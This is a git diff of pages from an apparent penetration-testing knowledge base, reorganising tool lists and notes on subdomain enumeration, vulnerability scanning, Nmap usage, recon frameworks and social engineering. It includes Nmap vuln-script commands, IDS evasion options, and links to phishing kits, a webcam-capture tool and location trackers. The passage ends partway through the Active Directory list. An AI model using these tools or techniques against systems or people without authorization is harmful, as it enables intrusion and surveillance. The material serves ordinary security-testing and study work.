- -Sub-domains are subsections of larger domains used to create separate sections of a website or to organize content into different categories. Each subdomain can provide a wealth of new attack vectors and vulnerabilities to map. - -Discovering Sub-Domains can involve dynamic crawling of a website, brute forcing of common sub-domain names, and then visually parsing and flying through subdomains looking for anything fun and interesting. This process is called Sub-Domain Fly-Over. - -{% embed url="https://pentestbook.six2dez.com/others/subdomain-tools-review" %} - -{% tabs %} -{% tab title="Sub-Domain Fly-Over" %} -* [Aquatone](https://github.com/michenriksen/aquatone) - Aquatone is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface. - * [https://blog.intigriti.com/2021/07/20/hacker-tools-aquatone/](https://blog.intigriti.com/2021/07/20/hacker-tools-aquatone/) -* [EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness) - EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible -* [Meg](https://github.com/tomnomnom/meg): Meg is a tool for fetching lots of URLs without taking a toll on the servers. It can be used to fetch many paths for many hosts, or fetching a single path for all hosts before moving on to the next path and repeating. -{% endtab %} - -{% tab title="Second Tab" %} - -{% endtab %} -{% endtabs %} - -## **Vulnerability Scanning** - -Vulnerability scanning is a process of identifying, detecting, and assessing security vulnerabilities in a computer system. It is designed to find known and unknown security risks in a network or computer system. Vulnerability scanning helps organizations identify and address any weaknesses in their systems before they can be exploited by attackers. - -A vulnerability scan usually involves using automated tools to scan a system for known vulnerabilities. The scan looks for known weaknesses, such as incorrect settings, outdated software, missing patches, or other security flaws that could be exploited by attackers. After the scan is complete, a report is generated outlining the weaknesses found and providing recommendations on how to address them. - -Vulnerability scanning is an important part of a comprehensive security program, and helps organizations identify and address weaknesses before attackers can exploit them. Conversely, vulnerability scanners are often used by offensive security testers to identify weak targets for exploitation. - -* _BTFM: Scanning and Vulnerabilities - pg. 11_ -* _Penetration Testing: Finding Vulnerabilities - pg.133_ - -{% tabs %} -{% tab title="Nessus " %} -[https://www.tenable.com/products/nessus/nessus-professional](https://www.tenable.com/products/nessus/nessus-professional) - -The most popular vulnerability scanning tool on the web. - -* Getting started with Nessus Guide - [https://www.tenable.com/blog/getting-started-with-nessus-on-kali-linux](https://www.tenable.com/blog/getting-started-with-nessus-on-kali-linux) -* Nessus Essentials (Home Version) - [https://www.tenable.com/products/nessus/nessus-essentials](https://www.tenable.com/products/nessus/nessus-essentials) -* [https://www.infosecmatter.com/install-nessus-and-plugins-offline-tutorial-with-pictures/](https://www.infosecmatter.com/install-nessus-and-plugins-offline-tutorial-with-pictures/) - -Commands - -* Install and manual download - [https://www.tenable.com/downloads/nessus](https://www.tenable.com/downloads/nessus) - * \#sudo apt install ./Nessus-X.X.X.deb -* Start nessus service - * \#sudo /etc/init.d/nessusd start - * Browser > [https://localhost:8834](https://localhost:8834) -{% endtab %} - -{% tab title="OpenVAS" %} -### [OpenVAS](https://github.com/greenbone/openvas) - -Open Source Vulnerability Assessment Scanner. Free and comes pre installed on Kali Linux. - -* [https://docs.greenbone.net/](https://docs.greenbone.net/) -* [https://www.kali.org/tools/gvm/](https://www.kali.org/tools/gvm/) -* [https://tryhackme.com/room/openvas](https://tryhackme.com/room/openvas) - -Commands - -* Setup - * \# openvas-setup -* Update Signature - * \# openvas-feed-update -* After setup and update, check listening ports to see if OpenVAS is active - * \#ss -lnt4 -* Navigate to WebUI - * https://127.0.0.1:939[NSE Nmap Scripts](https://nmap.org/nsedoc/) - NSE Scripts can perform various scanning techniques for enumerating services and scanning targets for specific vulnerabilities. - -{% embed url="https://youtu.be/fEANg6gyV5A" %} - -{% embed url="https://youtu.be/koMo_fSQGlk" %} -{% endtab %} - -{% tab title="NSE Scripts" %} -* Show all available scripts and thier details - * \# nmap --script-help default -* Show all vuln/exploit scripts - * \# cat script.db | grep '"vuln"\\|"exploit"' -* Run all scripts in "vuln' category - * \# sudo nmap --script vuln \[ip] -{% endtab %} - -{% tab title="Other Scanning Tools" %} -### **Other Scanning Tools** - -* [ReconMap](https://reconmap.org/) - Reconmap is a vulnerability assessment and penetration testing (VAPT) platform. It helps software engineers and infosec pros collaborate on security projects, from planning, to implementation and documentation. The tool's aim is to go from recon to report in the least possible time. - * [https://github.com/reconmap/reconmap](https://github.com/reconmap/reconmap) -* [Vulmap](https://github.com/vulmon/Vulmap) - Vulmap Online Local Vulnerability Scanners Project - * [https://vulmon.com/](https://vulmon.com/) -* [Vuls](https://github.com/future-architect/vuls) - Vulnerability scanner for Linux/FreeBSD, agent-less, written in Go. -* [Tsunami Scanner](https://github.com/google/tsunami-security-scanner) - Tsunami is a general purpose network security scanner with an extensible plugin system for detecting high severity vulnerabilities with high confidence. -* [Flan Scan](https://github.com/cloudflare/flan) - Flan Scan is a lightweight network vulnerability scanner. With Flan Scan you can easily find open ports on your network, identify services and their version, and get a list of relevant CVEs affecting your network. -* [https://github.com/v3n0m-Scanner/V3n0M-Scanner](https://github.com/v3n0m-Scanner/V3n0M-Scanner) - Popular Pentesting scanner in Python3.6 for SQLi/XSS/LFI/RFI and other Vulns -{% endtab %} -{% endtabs %} - -## Web Application Scanning and Testing - -Web Application Security Testing is a type of security testing that is used to identify and address security vulnerabilities in web applications. It is a process that involves testing the security of web applications for weaknesses that could potentially be exploited by attackers. The goal of this type of testing is to identify and fix any security issues that could lead to the unauthorized access, manipulation, or destruction of data, or any other malicious activity. - -Dynamic application security testing (DAST) is a process used to assess the security of a web application while it is running. This type of testing can be used to identify application-level vulnerabilities, such as cross-site scripting (XSS) and SQL injection. - -For testing various web applications there are a multitude of testing tools for both individual vulnerabilities, as well as comprehensive suites. The foremost of these is Burp Suite. - -{% content-ref url="../../web-app-hacking/burp-suite.md" %} -[burp-suite.md](../../web-app-hacking/burp-suite.md) +{% content-ref url="../../cyber-intelligence/osint/domain.md" %} +[domain.md](../../cyber-intelligence/osint/domain.md) {% endcontent-ref %} -{% content-ref url="../../web-app-hacking/web-app-testing-frameworks.md" %} -[web-app-testing-frameworks.md](../../web-app-hacking/web-app-testing-frameworks.md) -{% endcontent-ref %} +* [DNSRecon](https://github.com/darkoperator/dnsrecon) +* [dnsenum](https://www.kali.org/tools/dnsenum/) +* [dnsmap](https://www.kali.org/tools/dnsmap/) +* [dnsx](https://github.com/projectdiscovery/dnsx) +* [massdns](https://github.com/blechschmidt/massdns) +* [shuffledns](https://github.com/projectdiscovery/shuffledns) +* [Knock](https://github.com/guelfoweb/knock) +* [HostileSubBruteforcer](https://github.com/nahamsec/HostileSubBruteforcer) +* [altdns](https://www.kali.org/tools/altdns/) +* [assetfinder](https://www.kali.org/tools/assetfinder/) +* [Sublist3r](https://github.com/aboul3la/Sublist3r) +* [zdns](https://github.com/zmap/zdns) +* [aiodnsbrute](https://github.com/blark/aiodnsbrute) +* [Findomain](https://github.com/Findomain/Findomain) +* [Dome](https://github.com/v4d1/Dome) + +Subdomain screenshot and flyover tools overlap with web application recon. Keep the detailed workflow in Web App Hacking. {% content-ref url="../../web-app-hacking/scanning-utilities.md" %} [scanning-utilities.md](../../web-app-hacking/scanning-utilities.md) {% endcontent-ref %} -{% tabs %} -{% tab title="Web Content Discovery" %} -...burp... - -* [Photon](https://github.com/s0md3v/Photon) - Incredibly fast crawler designed for OSINT. -* [URLgrab](https://github.com/IAmStoxe/urlgrab) - A golang utility to spider through a website searching for additional links. -* [hakrawler](https://github.com/hakluke/hakrawler) - Simple, fast web crawler designed for easy, quick discovery of endpoints and assets within a web application. Also built by the Legendary Hakluke -* [gospider](https://www.kali.org/tools/gospider/) - This package contains a Fast web spider written in Go. -* [filebuster](https://github.com/henshin/filebuster) - Filebuster is a HTTP fuzzer / content discovery script with loads of features and built to be easy to use and fast! It uses one of the fastest HTTP classes in the world (of PERL) - Furl::HTTP. Also the thread modelling is optimized to run as fast as possible. -* [feroxbuster](https://www.kali.org/tools/feroxbuster/) - feroxbuster is a tool designed to perform Forced Browsing. Forced browsing is an attack where the aim is to enumerate and access resources that are not referenced by the web application, but are still accessible by an attacker. -{% endtab %} - -{% tab title="Second Tab" %} - -{% endtab %} -{% endtabs %} - -
- -Misc Web App Testing Tools - -* [https://www.webgap.io/](https://www.webgap.io/) - [WEBGAP](https://www.urbandictionary.com/define.php?term=webgap) remote browser isolation physically isolates you from the risks of using the internet by isolating your web browsing activity away from your local device. - - - -* [https://requestbin.com/](https://requestbin.com/) - A modern request bin to collect, inspect and debug HTTP requests and webhooks - - +## Vulnerability Scanning -* [Race-the-web](https://github.com/TheHackerDev/race-the-web) - Tests for race conditions in web applications. Includes a RESTful API to integrate into a continuous integration pipeline. +Vulnerability scanners identify known weaknesses, exposed versions, misconfigurations, and risky defaults. They can be noisy, so validate scope, rate limits, and maintenance windows before running them. - +* [Nessus Professional](https://www.tenable.com/products/nessus/nessus-professional) +* [Nessus Essentials](https://www.tenable.com/products/nessus/nessus-essentials) +* [Nessus Downloads](https://www.tenable.com/downloads/nessus) +* [OpenVAS](https://github.com/greenbone/openvas) / [Greenbone Community Edition](https://greenbone.github.io/docs/latest/) +* [Kali GVM package](https://www.kali.org/tools/gvm/) +* [Nmap NSE Scripts](https://nmap.org/nsedoc/) +* [ReconMap](https://reconmap.org/) +* [Vulmap](https://github.com/vulmon/Vulmap) +* [Vuls](https://github.com/future-architect/vuls) +* [Tsunami Scanner](https://github.com/google/tsunami-security-scanner) +* [Flan Scan](https://github.com/cloudflare/flan) -* [DVCS-Ripper](https://github.com/kost/dvcs-ripper) - Rip web accessible (distributed) version control systems: SVN, GIT, Mercurial/hg, bzr, etc. +### Example Commands - - -* [SSLStrip](https://github.com/LeonardoNve/sslstrip2) - This is a new version of \[Moxie´s SSLstrip] ([http://www.thoughtcrime.org/software/sslstrip/](http://www.thoughtcrime.org/software/sslstrip/)) with the new feature to avoid HTTP Strict Transport Security (HSTS) protection mechanism. - - - -* [BB King's Quieter Firefox template](https://bitbucket.org/mrbbking/quieter-firefox/src/master/) - Stripped down Firefox with no callouts to throw off traffic. Great for testing of all sorts. - - - -* [Unfurl](https://dfir.blog/unfurl/) - Tool for breaking down a URL to better understand its components.Fake credit card numbers for testing payment systems - - - -* [Credit Cards numbers](https://stripe.com/docs/testing#cards) for use in testing - - +```bash +sudo apt install ./Nessus-X.X.X.deb +sudo systemctl start nessusd +sudo gvm-setup +sudo gvm-check-setup +sudo runuser -u _gvm -- greenbone-feed-sync +nmap --script-help default +nmap --script vuln 10.10.10.10 +``` -* [interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library - * [https://app.interactsh.com/](https://app.interactsh.com/) +Nessus commonly listens on `https://localhost:8834`. Greenbone/GVM web UI ports vary by package and configuration, so check the local service output instead of relying on old OpenVAS port references. - +## TLS and Service Configuration Checks -* [Firebounty](https://firebounty.com) — Bug bounty search engine +For HTTPS-specific testing, use the Web Technologies SSL/TLS page. The tools below are also useful for non-HTTP TLS services. - +{% content-ref url="../../web-app-hacking/web-technologies/ssl-tls-and-certificates.md" %} +[ssl-tls-and-certificates.md](../../web-app-hacking/web-technologies/ssl-tls-and-certificates.md) +{% endcontent-ref %} -* [https://github.com/brevityinmotion/goodfaith](https://github.com/brevityinmotion/goodfaith) - A tool that helps you stay within scope for bug bounty recon automation. +* [testssl.sh](https://github.com/drwetter/testssl.sh) +* [SSLYZE](https://github.com/nabla-c0d3/sslyze) +* [ssl-cipher-suite-enum](https://github.com/portcullislabs/ssl-cipher-suite-enum) +* [TLS Prober](https://github.com/WestpointLtd/tls_prober) -
+## Honeypot and Filtering Awareness -## Other Scanning Utilities +These tools can help identify defensive traps or filtering behavior during authorized testing. Use them carefully and document assumptions; a honeypot score is not proof. -
+* [HoneyCaught](https://github.com/aswinmguptha/HoneyCaught) +* [Sniffing Bear](https://github.com/MrSuicideParrot/SniffingBear) +* [Shodan Honeyscore](https://honeyscore.shodan.io/) +* [firewalk](https://www.kali.org/tools/firewalk/) +* [ftester](https://www.kali.org/tools/ftester/) -SSL/TLS Scanning +## Default Credential Checks -* [SSL Cipher Suite Enum](https://github.com/portcullislabs/ssl-cipher-suite-enum) - Perl script to enumerate supported SSL cipher suites supported by network services (principally HTTPS). -* [sslScrape](https://github.com/cheetz/sslScrape) - strips hostnames form certs over port 443 connections -* [SSLYZE](https://github.com/nabla-c0d3/sslyze) - TLS/SSL config analyzer -* [tls\_prober](https://github.com/WestpointLtd/tls\_prober) - TLS Prober is a tool for identifying the implementation in use by SSL/TLS servers. It analyses the behaviour of a server by sending a range of probes then comparing the responses with a database of known signatures. -* [testssl.sh](https://github.com/drwetter/testssl.sh) - A free command line tool which checks a server's service on any port for the support of TLS/SSL ciphers, protocols as well as some cryptographic flaws. -* [https://pentestbook.six2dez.com/enumeration/ssl-tls](https://pentestbook.six2dez.com/enumeration/ssl-tls) - List of commads to test for specific SSL/TLS Vulnerabilities. +* [changeme](https://www.kali.org/tools/changeme/) - Default credential scanner for HTTP(S), MSSQL, MySQL, PostgreSQL, SSH, and SSH keys. -
+For deeper password attacks, use the Password Attacks page. -
+{% content-ref url="../testing-methodology/password-attacks.md" %} +[password-attacks.md](../testing-methodology/password-attacks.md) +{% endcontent-ref %} -Misc Scanning tools +## Training -* [HoneyCaught](https://github.com/aswinmguptha/HoneyCaught) - Honeypot detection tool -* [Sniffing Bear](https://github.com/MrSuicideParrot/SniffingBear) - A modular and distributed tool developed in python to scan networks for honeypots -* [https://honeyscore.shodan.io/](https://honeyscore.shodan.io/) - Shodan honeypot detector. -* [changeme](https://www.kali.org/tools/changeme/) - This package contains a default credential scanner. changeme supports the http/https, MSSQL, MySQL, Postgres, ssh and ssh w/key protocols. -* [SharpShare](https://github.com/djhohnstein/SharpShares/) - Enumerate all network shares in the current domain. Also, can resolve names to IP addresses. -* [Phishious](https://github.com/Rices/Phishious) - An open-source Secure Email Gateway (SEG) evaluation toolkit designed for red-teamers. -* [firewalk](https://www.kali.org/tools/firewalk/) - Firewalk is an active reconnaissance network security tool that attempts to determine what layer 4 protocols a given IP forwarding device will pass. -* [ftester](https://www.kali.org/tools/ftester/) - The Firewall Tester (FTester) is a tool designed for testing firewall filtering policies and Intrusion Detection System (IDS) capabilities. +Training rooms and labs for passive recon, active recon, RustScan, OpenVAS, and Sublist3r live in Training. -
+{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} diff --git a/red-offensive/scanning-active-recon/nmap.md b/red-offensive/scanning-active-recon/nmap.md index 2496b55..bb1b27f 100644 --- a/red-offensive/scanning-active-recon/nmap.md +++ b/red-offensive/scanning-active-recon/nmap.md @@ -7,7 +7,7 @@ * [https://nmap.org/book/toc.html](https://nmap.org/book/toc.html) * [NSEDoc Reference Portal](https://nmap.org/nsedoc/) * [https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717](https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717) -* [https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf](https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf) +* [SANS Nmap Cheat Sheet](https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf) - Useful quick reference, but dated. * [https://blog.zsec.uk/nmap-rtfm/](https://blog.zsec.uk/nmap-rtfm/) * [https://gtfobins.github.io/gtfobins/nmap/](https://gtfobins.github.io/gtfobins/nmap/) * _Operator Handbook: NMAP - pg. 222_ @@ -30,8 +30,11 @@ {% endtab %} {% tab title="Training" %} -* [https://tryhackme.com/room/nmap01](https://tryhackme.com/room/nmap01) -* [https://tryhackme.com/room/furthernmap](https://tryhackme.com/room/furthernmap) +Nmap training rooms are maintained in Training. + +{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} {% endtab %} {% endtabs %} @@ -45,7 +48,7 @@ * \-sV - Loud version scan, will make complete connection, grab banner, and version info * \-A - run service enumeration scripts * \-oA \[filename] - Print nmap output to file name -* \-Pn - disable ping. Most big companies will have ping diabled on most external entities +* \-Pn - disable host discovery. Most large organizations block ping on many external assets. * \-n - disable DNS resolution, helps speed up scan
@@ -159,7 +162,7 @@ nmap -sV -v -p- [IP Address] ## NSE - Nmap scripting Engine -Nmap Scripting Engine (NSE) allows users to run custom and community generated scripts. ◇ stored in /usr/share/nmap/scripts +Nmap Scripting Engine (NSE) allows users to run custom and community-generated scripts stored in `/usr/share/nmap/scripts`. {% tabs %} {% tab title="Basics" %} @@ -185,7 +188,7 @@ As well as specifying the name of the script, it is sometimes necessary to speci Run all NSE scripts against found ports ``` -$nmap -Pn -sV -O -pT:{TCP ports found},U:{UDP ports found} --script *vuln* $ip +nmap -Pn -sV -O -p T:80,443,U:53 --script "*vuln*" $ip ``` {% endtab %} @@ -228,7 +231,7 @@ Just add garbage data to the packets so the IPS/IDS signature is avoided. {% tab title="Fragmentation" %} Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. -**Nmap option** +**Nmap option:** `-f` or `--mtu ` {% endtab %} {% tab title="Invalid checksum" %} diff --git a/red-offensive/scanning-active-recon/recon-frameworks.md b/red-offensive/scanning-active-recon/recon-frameworks.md index 5fd6a1a..4a192c7 100644 --- a/red-offensive/scanning-active-recon/recon-frameworks.md +++ b/red-offensive/scanning-active-recon/recon-frameworks.md @@ -1,82 +1,72 @@ # Recon Frameworks -Recon Frameworks are the backbone of any recon phase of a penetration test. With the wealth of information they can retrieve, they can also be leveraged for assisting in actions such as threat hunting, threat intelligence, attack surface mapping, and many others. +Recon frameworks combine multiple data sources, command-line tools, APIs, scans, screenshots, and reports into repeatable workflows. Many support both passive and active techniques, so match modules to the engagement scope before running them. -## Spiderfoot +For purely passive OSINT investigation, use Cyber Intelligence. -
+{% content-ref url="../../cyber-intelligence/osint/" %} +[osint](../../cyber-intelligence/osint/) +{% endcontent-ref %} -Spiderfoot +## Primary Frameworks -This is my go to for OSINT searches. Not only is it easy to use, it has a great web UI with loadable templates you can tailor to the scan that you want. It has over 200 different modules to collect different information about your target. These modules can call on other command line utilities as well as web services to pull in data. +### SpiderFoot -Some of these modules will require an API key, but most services offer a free version. Getting as many of these free API keys as possible is preferable. Once you have your API keys, you can save them as part of a scan template that allows them to be imported and used at ease. +[SpiderFoot](https://www.spiderfoot.net/) is an OSINT automation platform with a web UI, templates, and many modules for collecting target data from public sources and APIs. -As with any great tool, make sure you read the [documentation](https://www.spiderfoot.net/documentation/), and check out some of the [video tutorials](https://asciinema.org/\~spiderfoot) on the tool. +* [Documentation](https://www.spiderfoot.net/documentation/) +* [SpiderFoot tutorials](https://asciinema.org/~spiderfoot) +* [iRed Team: SpiderFoot 101 with Kali and Docker](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker) -* [https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker) +### Recon-ng -
+[Recon-ng](https://github.com/lanmaster53/recon-ng) is a modular Python reconnaissance framework. It is useful when you want repeatable modules, API-backed lookups, and structured output. -## Recon-NG - -
- -Recon-ng - -This command line tool is the gold standard for recon. Tim Tomes (lanmaster53) has done an incredible job with it, making a plethora of modules for various needs. It is a flexible python framework that makes it ideal for automating tasks. After loading your API keys into a lookup file for the Recon-ng modules, you can select some or all of the modules to run and output the results into the file of your choice. Because the modules in Recon-ng can be run independently and can be scripted pretty easily, it is easy to incorporate its modules into other workflows outside of passive recon. Take a look at all of them, and see what you can use. - -Recon-ng has a ton of great resources, but by far the BlackHills Infosec walkthroughs are the best guides for how to use this tool. Also check out Tim's website with his training and other tools. - -* [Recon-ng Wiki](https://github.com/lanmaster53/recon-ng/wiki) - Read the documentation. Always. -* [Website for the creator of Recon-ng, lanmaster53](https://www.lanmaster53.com) - Check out his training courses. Highly reccomended. -* [PluralSight course on using Recon-ng](https://www.pluralsight.com/courses/technical-information-gathering-recon-ng) - Great structured training on this tool's use. -* [Black Hills Infosec Intro to Recon-ng](https://www.blackhillsinfosec.com/whats-changed-in-recon-ng-5x/) -* [Black Hills Infosec Recon-ng cheatsheet](https://www.blackhillsinfosec.com/wp-content/uploads/2019/11/recon-ng-5.x-cheat-sheet-Sheet1-1.pdf) - -
+* [Recon-ng Wiki](https://github.com/lanmaster53/recon-ng/wiki) +* [lanmaster53](https://www.lanmaster53.com/) +* [Pluralsight: Technical Information Gathering with Recon-ng](https://www.pluralsight.com/courses/technical-information-gathering-recon-ng) +* [Black Hills: What's Changed in Recon-ng 5.x](https://www.blackhillsinfosec.com/whats-changed-in-recon-ng-5x/) +* [Black Hills Recon-ng Cheat Sheet](https://www.blackhillsinfosec.com/wp-content/uploads/2019/11/recon-ng-5.x-cheat-sheet-Sheet1-1.pdf) {% embed url="https://youtu.be/0J6Auz88iTY" %} -## Maltego - -
+### Maltego -Maltego +[Maltego](https://www.maltego.com/) is a graphical link-analysis and OSINT platform for connecting people, domains, infrastructure, social accounts, and other entities. -* [Maltego](https://www.maltego.com/) - Maltego is an open source intelligence and graphical link analysis tool for gathering and connecting information for investigative tasks. - * [https://docs.maltego.com/support/home](https://docs.maltego.com/support/home) - * [https://static.maltego.com/cdn/Handbooks/Maltego-Handbook-for-Social-Media-Investigations-Short.pdf](https://static.maltego.com/cdn/Handbooks/Maltego-Handbook-for-Social-Media-Investigations-Short.pdf) - -
+* [Maltego Support and Docs](https://docs.maltego.com/support/home) +* [Maltego Handbook for Social Media Investigations](https://static.maltego.com/cdn/Handbooks/Maltego-Handbook-for-Social-Media-Investigations-Short.pdf) {% embed url="https://youtu.be/zemNLx0-LRw" %} -## **Other Frameworks** - -These other frameworks do many of the same tasks that the previous two perform. Some are still actively being developed and promise expanded functionality in the future. - -
- -Other Frameworks - -* [sn0int ](https://github.com/kpcyrd/sn0int)- A semi-automatic OSINT framework and package manager. It was built for IT security professionals and bug hunters to gather intelligence about a given target or about yourself. -* [Raccoon](https://github.com/evyatarmeged/Raccoon) - An offensive security focused framework that performs a good bit of OSINT as well as active scanning on your target to get everything you need before attempts at exploitation. -* [ReconSpider ](https://github.com/bhavsec/reconspider)- Another great offensive recon tool that has a great option to present the data in different visuals to help you conceptualize the data around your target -* [OWASP Maryam](https://github.com/saeeddhqan/Maryam) - A modular open-source framework based on OSINT and data gathering. It is designed to provide a robust environment to harvest data from open sources and search engines quickly and thoroughly. -* [Discover Scripts ](https://github.com/leebaird/discover)- One of the first offensive reconnaissance tools, the discover scripts by Lee Baird are a set of custom scripts for automating the inital phases of a penetration test. -* [DarkSide](https://github.com/ultrasecurity/DarkSide) - Tool Information Gathering & social engineering Write By \[Python,JS,PHP] -* [ReconFTW](https://github.com/six2dez/reconftw) - ReconFTW is a tool designed to perform automated recon on a target domain by running the best set of tools to perform scanning and finding out vulnerabilities -* [dmitry](https://www.kali.org/tools/dmitry/) - DMitry can find possible subdomains, email addresses, uptime information, perform tcp port scan, whois lookups, and more. -* [Z4nzu/hackingtool](https://github.com/Z4nzu/hackingtool) - Thorough all-in-one tool for hacking. -* [finalrecon](https://www.kali.org/tools/finalrecon/) - A fast and simple python script for web reconnaissance that follows a modular structure and provides detailed information on various areas. -* [gasmask](https://github.com/twelvesec/gasmask) - All in one Information gathering tool -* [machinae](https://github.com/HurricaneLabs/machinae) - Machinae is a tool for collecting intelligence from public sites/feeds about various security-related pieces of data: IP addresses, domain names, URLs, email addresses, file hashes and SSL fingerprints. -* [blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot) - **BBOT** is a **recursive**, **modular** OSINT framework inspired by Spiderfoot and written in Python. Capable of executing the entire OSINT process in a single command, BBOT does subdomain enumeration, port scanning, web screenshots (with its `gowitness` module), vulnerability scanning (with `nuclei`), and much more. - - BBOT currently has over **60 modules** and counting. -* [https://github.com/slithery0/eReKon](https://github.com/slithery0/eReKon) - Yet another web recon tool But beautiful -* [https://www.reconness.com/](https://www.reconness.com/) -* [https://www.runzero.com/](https://www.runzero.com/) - -
+## Offensive Recon and ASM Frameworks + +* [BBOT](https://github.com/blacklanternsecurity/bbot) - Recursive modular OSINT and recon framework with subdomain enumeration, port scanning, screenshots, and nuclei support. +* [ReconFTW](https://github.com/six2dez/reconftw) - Automated recon workflow for domains, bug bounty, and pentest targets. +* [Sn1per](https://github.com/1N3/Sn1per) - Automated recon and penetration testing framework with OSINT, scanning, and reporting. +* [reNgine](https://github.com/yogeshojha/rengine) - Web application reconnaissance suite with engines, screenshots, correlation, reports, and continuous monitoring. +* [OWASP Amass](https://github.com/OWASP/Amass) - External attack surface mapping and asset discovery. +* [runZero](https://www.runzero.com/) - Network discovery and asset inventory platform. +* [ReconNess](https://www.reconness.com/) - Recon management platform for organizing targets and findings. +* [Axiom](https://github.com/pry0cc/axiom) - Dynamic infrastructure framework for distributed recon and offensive workflows. +* [JupyterPen](https://github.com/obheda12/JupyterPen) - Jupyter-based OSINT and penetration testing toolkit. + +## Other Frameworks and Toolkits + +* [sn0int](https://github.com/kpcyrd/sn0int) - Semi-automatic OSINT framework and package manager. +* [Raccoon](https://github.com/evyatarmeged/Raccoon) - Offensive recon framework with OSINT and active scanning. +* [ReconSpider](https://github.com/bhavsec/reconspider) - Information-gathering tool with visual output. +* [OWASP Maryam](https://github.com/saeeddhqan/Maryam) - Modular OSINT and data-gathering framework. +* [Discover Scripts](https://github.com/leebaird/discover) - Early-stage penetration test discovery scripts. +* [DMitry](https://www.kali.org/tools/dmitry/) - Finds subdomains, email addresses, uptime, WHOIS data, and TCP ports. +* [finalrecon](https://www.kali.org/tools/finalrecon/) - Modular web reconnaissance script. +* [gasmask](https://github.com/twelvesec/gasmask) - Information-gathering toolkit. +* [machinae](https://github.com/HurricaneLabs/machinae) - Collects public intelligence about IPs, domains, URLs, emails, file hashes, and SSL fingerprints. + +## Low Signal or Validate Before Use + +These are preserved for resource completeness, but validate maintenance and quality before adding them to a workflow. + +* [DarkSide](https://github.com/ultrasecurity/DarkSide) - Older information-gathering and social engineering toolkit. +* [Z4nzu/hackingtool](https://github.com/Z4nzu/hackingtool) - Large all-in-one hacking tool menu; review modules carefully before use. +* [eReKon](https://github.com/slithery0/eReKon) - Web recon tool that appears incomplete or under active development. diff --git a/red-offensive/social-engineering.md b/red-offensive/social-engineering.md index 9426c44..4f128ad 100644 --- a/red-offensive/social-engineering.md +++ b/red-offensive/social-engineering.md @@ -32,6 +32,10 @@ {% tab title="Attack Phases" %} * **OSINT** - The research performed on the target using Open-Source Intelligence tools. This phase does not interact with the target in anyway. * _Social Engineering: Christopher Hadnagy - pg.17_ + * OSINT tools and methodology are maintained under Cyber Intelligence. + {% content-ref url="../cyber-intelligence/osint/" %} + [osint](../cyber-intelligence/osint/) + {% endcontent-ref %} * **Pretext Development** - This is where an attacker develops their reason for initial interaction. * **Attack Plan** - Planning out the Who, What, When, Where, Why, and How of the attack. * **Attack Launch** @@ -60,7 +64,7 @@ * [SocialFish](https://github.com/UndeadSec/SocialFish) - Educational Phishing Tool & Information Collector * [shellphish](https://github.com/suljot/shellphish) - Phishing Tool for Instagram, Facebook, Twitter, Snapchat, Github * [https://www.hackingarticles.in/shellphish-a-phishing-tool/](https://www.hackingarticles.in/shellphish-a-phishing-tool/) -* [saycheese](https://github.com/hangetzzu/saycheese) - Take webcam shots from target just sending a malicious link +* [saycheese](https://github.com/hangetzzu/saycheese) - Webcam-capture proof-of-concept. High-abuse potential; only use in tightly scoped, written-authorized social engineering tests. {% endtab %} {% tab title="Guides and Methodology" %} @@ -68,7 +72,7 @@ * [https://www.blackhillsinfosec.com/how-to-phish-for-geniuses/](https://www.blackhillsinfosec.com/how-to-phish-for-geniuses/) * [https://sidb.in/2021/08/03/Phishing-0-to-100.html](https://sidb.in/2021/08/03/Phishing-0-to-100.html) * [https://xapax.github.io/security/#initial\_access/social\_engineering\_-\_phishing/](https://xapax.github.io/security/#initial\_access/social\_engineering\_-\_phishing/) -* Phishing Defense +* Understanding Phishing Defenses for Engagement Planning * [https://www.blackhillsinfosec.com/offensive-spf-how-to-automate-anti-phishing-reconnaissance-using-sender-policy-framework/](https://www.blackhillsinfosec.com/offensive-spf-how-to-automate-anti-phishing-reconnaissance-using-sender-policy-framework/) * [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-attack-of-the-chameleon-phishing-page/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-attack-of-the-chameleon-phishing-page/) * Auth attacks @@ -97,6 +101,7 @@ * [I-See-You](https://github.com/Viralmaniar/I-See-You) - A Bash and Javascript tool to find the exact location of the users during social engineering or phishing engagements. Using exact location coordinates an attacker can perform preliminary reconnaissance which will help them in performing further targeted attacks. * [https://iplogger.org/](https://iplogger.org/) * [http://canarytokens.org/generate](http://canarytokens.org/generate) + * Canarytokens are primarily defensive deception tools. In this context, use them only to understand how a client may detect engagement activity. * [http://www.urlbiggy.com/](http://www.urlbiggy.com/) * [https://getnotify.com/](https://getnotify.com/) * User tracking with Wireshark and Google Maps -[https://youtu.be/xuNuy8n8u-Y](https://youtu.be/xuNuy8n8u-Y) diff --git a/red-offensive/testing-methodology/active-directory.md b/red-offensive/testing-methodology/active-directory.md index a26745a..5f9cb22 100644 --- a/red-offensive/testing-methodology/active-directory.md +++ b/red-offensive/testing-methodology/active-directory.md @@ -108,7 +108,11 @@ description: Where can we go, once we are in? * [https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/) * [Tactics, Techniques and Procedures for Attacking Active Directory BlackHat Asia 2019](https://docs.google.com/presentation/d/1j2nW05H-iRz7-FVTRh-LBXQm6M6YIBQNWa4V7tp99YQ/) * 